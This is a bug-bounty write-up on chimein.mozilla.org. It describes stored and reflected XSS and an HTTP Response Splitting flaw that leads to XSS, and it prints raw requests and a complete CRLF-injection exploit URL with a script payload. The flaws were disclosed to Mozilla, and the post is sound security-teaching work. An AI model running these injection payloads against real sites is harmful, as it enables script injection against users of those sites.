A subdomain of Mozilla.org has several XSS vulnerabilities and an HTTP Response Splitting vulnerability.
This article illustrates the exploitation of an HRS (HTTP Response Splitting) in order to elevate it in a reflected XSS through a concrete example: Mozilla.
Target description
When searching for vulnerable (sub)-domains as part of a Bug Bounty program, the subdomain dictionary attack phase can be successful. Beyond the known domains / subdomains that can be easily listed and discovered via search engines, dorks, or OSINT tools such as “the harvester“, some subdomains may remain hidden, non-indexed and “unknown”.
This is precisely the case for the subdomain victim of the few vulnerabilities detailed later: chimein.mozilla.org. This domain, which was not indexed to common search engines and was neither “cited” nor “linked” anywhere, was discovered by a subbrute (brute-force of subdomains) by chance.
This domain had a seemingly poor design (understand that it seemed to host a draft web application, or a PoC).
A list of registered users as well as a very basic registration / login form were present: without any frills nor CSS. By entering an arbitrary account in order to register, I was able to register and authenticate myself on this web application of which I had not yet determined its usefulness:
- Login: ycam
- Password: ycam
- Passphrase: ycam
Note: A passphrase in addition to a password? Will I encounter a notion of asymmetric encryption and certificates after registration and authentication?
Once registered and authenticated, the interest of this web application became clear: a form to send messages (encrypted) to other registered members became visible, as well as of course the list of my “own” messages received:
The application worked quite well: once registered, a bi-key was generated on the server side and each message sent from one user to another was protected by asymmetric encryption using these certificates coupled with the specified passphrase.
The “very precarious” side of the design and appearance of the application made me think of a proof-of-concept Mozilla, “forgotten” on a subdomain not referenced yet in the beta stage. I love this kind of target (very rare nowadays), on which I ran out my tests.
Few XSS…
The very “simple” and “proof-of-concept” side of the application prompted me to test the server-side processing and clean-up of the user inputs: no sanitization.
The fields were vulnerable to Cross-Site Scripting vulnerabilities.
Reflected XSS
The login field, which was immediately reflected when authenticated in the “logged in as [login]” message, was vulnerable to a standard XSS injection:
Once authenticated, the reflection was triggered:
But this XSS (Self) was only slightly critical …
Stored XSS encrypted
More interesting: the body of the messages sent to the various recipients was also vulnerable. The messages were encrypted (via the bi-key / passphrase), so the XSS payload was stored encrypted by the application.
Once received by the user-victim, the user would consult the victim after having indicated the associated passphrase:
And the payload, once deciphered, was triggered …
More interesting than the first (Self-) XSS, this encrypted Stored-XSS gained criticality but still required actions of the potential victim (connect, choose the malicious message, indicate the passphrase, etc.).
HTTP Response Splitting
HTTP Response Splitting (HRS) is an injection technique at the headers in response from the server. The principle is to forge / modify the headers of a server response from a client request containing arbitrary data. The OWASP describes this attack like this:
HTTP response splitting occurs when:
- Data enters a web application through an untrusted source, most frequently an HTTP request.
- The data is included in an HTTP response header sent to a web user without being validated for malicious characters.
HTTP response splitting is a means to an end, not an end in itself. At its root, the attack is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.
To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header AND the underlying platform must be vulnerable to the injection of such characters. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allow them to create additional responses entirely under their control.
HRS detection
The application operated via an API and several entry-points. For example, to create a new message, the entry-point “/message/create” was used. To list the received messages it was “/message/list” and to consult a message “/message/get” with the ID of the message transmitted in JSON-POST via a query of type:
POST /message/get HTTP/1.1 Host: chimein.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 30 login=ycam&password=ycam&id=57
The response associated with the ID 57 message was:
HTTP/1.1 200 OK Content-Type: application/json Content-Length: 1525 Date: Fri, 21 Oct 2016 00:05:14 GMT Connection: close {"id":57,"sender":"ycam","recipient":"ycam","subject":"ycam","subject_signature":"C2sgosxgaKPEqJJwLb5R29A8fqX9wxA30SLqcJzKLkhEDVuAIIZesho736eDtI7GbrjpFBgc9I8E\r\n/PMRAbK6IZF9O9G+kOmy9a/mSPY9L8yiFdwk8CXzW/nvmirx3qelwQ87z3cgrxGe8um7Ntc603h2\r\nWrux3wQrv5JptqEMC1Cj+atQQQ/B6ahv9Q6K2z7wmIViR1mcZuNG9V26PwierLoNNOBDwXmChsPI\r\nKpy/0TgJhkpWj+PO3YIvxy015imeISUgmZyTmOaJAy7/OQzvw5GUAS5nTG/tU79kO7AlhQLTgjlL\r\nE3uKE2jM2ACuwtqZNeSpNTUeyGBLCxHD18vqMw==","body":"O8E+SCVlBZiL8xsg0yEg+K5+jdHKkuQA89z8FpLDekOT3CUa43B/Qw+BxyCTgccngdRp7en7Zi+M\r\nwMgDouqt8f1NGa8hxk4xP0lxN0vsR8dz1DyY2etgtGtSY8ehWDoK","body_signature":"kFLh+gNR1Ow2zuxqRebnYmiB/N2GEYWSFdLdK4dfdM2N5pKJw5eXsfu1YyKkznYEHU1c1z+YF13e\r\nzyWBWtwmSPff+6JFWIHGqYI2RR+qszbAduHwHSniFPkz0gKntc/xOe8GFX62z78pAPJfZ4tLyg8p\r\nLobVsLDjaipcRsy4tC0LWz56zjCWbACKPP9Gwi0VGng2Ny3KYoTSt+6t7GkCWf799ztY8R0WYJ8q\r\nskQAYD5LuHpdadi8+8RDdgYOaepyYPGfjuhJXXsqec9rivk84mkZSa8cAtXgrFF4bnj+F9z8KFgc\r\nvhiVAG71i65AVRbJ6pPR2CKjnnOhSkBjldNIuQ==","session_key":"a3EPAkTnptCVn9FSgmfTkpgzgjQgOGuYLFG+MmtmZjcwAPJjXePxH8/1XWWolhPn1fRmf4j9ybmo\r\nlXYOg4Fj1ss8k2HRcugxridBTkZ53dd0Af0qEHeSsiA1Rsm0d2G76k6qsWzgD55WBc6nuEXiOrzM\r\nTxVPIcT/vLbjTA0hrnzmm/tiyq31YPVOYq3Di95urw38DFJIRPKiP/cJ0GoWkUrcB6OK8lCfvx0K\r\nWsS+PpAB/c1xBUoG0TmFKZRkCXx8toykvz7cqC6hwZHbWRj4A5cLbnIrYdIXZ+2AkjhwcNzqWHQb\r\nHHm1wN6fkalHKXW7+wM2ctioB1JaE3gYE7WmGA==","session_key_iv":"zOtfAHFpmaW+hm2xcJhPxw==","status":"read","sent_date":"2016-10-20T23:05:30.009Z","retrieved_date":"2016-10-20T23:06:45.811Z","read_date":"2016-10-20T23:06:48.066Z"}
We note the presence of several cryptographic features in this response, including signature, IV, key, etc. Inducing that the decryption was done on the client side.
When attempting to inject a non-existent or badly formatted ID, the server would return an error code 500 with the ID in question reflected in the error code message:
HTTP/1.1 500 message xxx does not exist Date: Fri, 21 Oct 2016 00:07:11 GMT Connection: close Content-Length: 0
From this reflection, we test the injection of the traditional \r\n url-encoded, namely %0a%0d:
POST /message/get HTTP/1.1 Host: chimein.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 55 login=ycam&password=ycam&id=xxx%0a%0dyyy%0a%0dzzz%0a%0d
Response:
HTTP/1.1 500 message xxx yyy zzz does not exist Date: Fri, 21 Oct 2016 00:08:40 GMT Connection: close Content-Length: 0
Bingo! Our arbitrary headers are present in the server response!
Exploitation
Via this confirmed HRS allowing us to inject and generate arbitrary headers in the response of the server, the idea will be to create our own HTML response that will be interpreted in the browser (we generate our own XSS).
To achieve this, we need several headers to inject as well as content (the XSS), for example:
- Header Content-Type: text / html
- Header Content-Length: [LENGTH]
- A duplicate \r\n\r\n followed by the “source code” HTML / JS of our choice
- Opening an HTML comment <!– to comment on all remaining content (headers and body) of the legitimate response
Note: the parameters were interpreted both in POST and GET.
This resulted in the following injection:
https://chimein.mozilla.org/message/get?login=ycam&password=ycam&id=x%0a%0dContent-Length: 100%0a%0dContent-Type: text/html%0a%0d%0a%0d<html><body><script>alert(document.domain)</script></body></html><!--
XSS fired! We exploited HTTP Response Splitting to raise the header injection to produce an XSS. It is triggered as soon as the page is loaded.
“Correction” and conclusion
Following the discovery of these various vulnerabilities targeting different entry points of the application, two tickets on the BugZilla Security / Bug Bounty of Mozilla were opened:
- Bug 1311883 – Stored-XSS and Reflected-XSS in Chimein.mozilla.org secure messenger system
- Bug 1311887 – HTTP Response Splitting in chimein.mozilla.org (leverage to Reflected XSS)
This domain, unfortunately not one of those eligible for the bounty of Mozilla, was detached from the DNS entry “chimein.mozilla.org” and was therefore no longer attached to the Mozilla project within 24 hours.
A few weeks / months later, this Secure Messaging PoC was no longer accessible at all (even via the server’s IP).
The vulnerabilities have therefore not been corrected (it was only a PoC after all), the subdomain was simply deleted preventing new access. It is a drastic method, certainly, but functional to mitigate the vulnerabilities :)!
In any case, I encourage all bug-hunters to scan non-referenced subdomains via tools like subbrute, in order to explore other perimeters that have certainly not yet been analyzed!
I thank Mozilla security teams for their friendliness, professionalism, both for the exchanges through tickets and via emails.
Thanks for the Hall of Fame too! 🙂
Sources & ressources :